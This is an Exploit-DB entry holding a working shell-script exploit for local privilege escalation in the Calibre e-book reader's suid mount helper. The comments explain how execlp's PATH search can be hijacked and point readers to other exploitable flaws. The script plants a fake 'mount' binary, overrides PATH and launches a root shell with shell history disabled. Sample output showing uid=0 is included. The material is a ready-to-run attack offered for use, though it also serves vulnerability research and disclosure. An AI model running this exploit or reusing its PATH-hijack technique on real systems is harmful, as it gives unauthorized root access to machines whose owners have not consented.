Exploit-DB #18064
Description: Calibre E-Book Reader - Local Privilege Escalation (1)
Type: local
Platform: linux
Date: 2011-11-02
Author: zx2c4

Exploit:
#!/bin/sh

                  #######################################
                  #     .50-Calibrer Assault Mount      #
                  #              by zx2c4               #
                  #######################################

################################################################################
# Calibre uses a suid mount helper, and like nearly all suid mount helpers that
# have come before it, it's badly broken. Let's go through Calibre's faulty code
# available at http://pastebin.com/auz9SULi and look at the array of silly
# things done, only one of which we actually need to get root.
#
# In this spot here, we can create a directory owned by root anywhere we want:
#
# 47	    if (!exists(mp)) {
# 48	        if (mkdir(mp, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH) != 0) {
# 49	            errsv = errno;
# 50	            fprintf(stderr, "Failed to create mount point with error: %s\n", strerror(errsv));
# 51	        }
# 52	    }
#
# At this point, we can remove any empty directory we want:
#
# 172	    rmd = rmdir(mp);
#
# And elsewhere, we can create and remove anything_we_want/.some_stupid_marker.
# I'm sure you can figure out how to exploit these kinds of things :-P.
#
# We also get the ability with this wonderful mount-helper to unmount and eject
# any device that we want (as root), as well as mount any vfat filesystem that
# we'd like.
#
# Not only that, but we can pass params directly to mount, to some degree:
#  
# 83	    execlp("mount", "mount", "-t", "auto", "-o", options, dev, mp, NULL);
#
# On this line, "dev" and "mp" are controlled by argv[2] and argv[3]. I'm sure
# you can find fun things to do with this as well. (There -s and also the man
# pages say the last -o is respected, etc etc. Be creative.)
#
# But there's also something lurking that is way worse in this line. Is that
# "execlp" we see? Yes.  According to the man pages:
#
#     The execlp(), execvp(), and execvpe() functions duplicate the  actions  of
#     the  shell  in searching  for  an  executable file if the specified
#     filename does not contain a slash (/) character.
#
# execlp searchs PATH for where to find "mount", and then runs it as root. And,
# with great joy, we find that we can trivially control PATH by setting it
# before running the mount helper. So the attack plan is simple:
#
#    1. Make an executable named "mount" in the current directory that executes
#       a shell.
#    2. PATH=".:$PATH" calibre-mount-helper mount something somethingelse
#
# And that's it! We have root. The below exploit creates things in a temporary
# directory that gets cleaned up and displays some status information along the
# way.
#
# - zx2c4
# 2011-11-1
#
# Usage:
# $ ./50calibrerassaultmount.sh
# [+] Making temporary directory: /tmp/tmp.q5ktd8UcxP
# [+] Making mount point.
# [+] Writing malicious mounter.
# [+] Overriding PATH and getting root.
# [+] Cleaning up: /tmp/tmp.q5ktd8UcxP
# [+] Checking root: uid=0(root) gid=0(root) groups=0(root)
# [+] Launching shell.
# sh-4.2# 
#
################################################################################


set -e
echo "#######################################"
echo "#     .50-Calibrer Assault Mount      #"
echo "#              by zx2c4               #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making mount point."
mkdir mountpoint
echo "[+] Writing malicious mounter."
cat > mount <<END
#!/bin/sh
cd /
echo "[+] Cleaning up: $dir"
rm -rf "$dir"
echo -n "[+] Checking root: "
id
echo "[+] Launching shell."
HISTFILE="/dev/null" exec /bin/sh
END
chmod +x mount
echo "[+] Overriding PATH and getting root."
PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint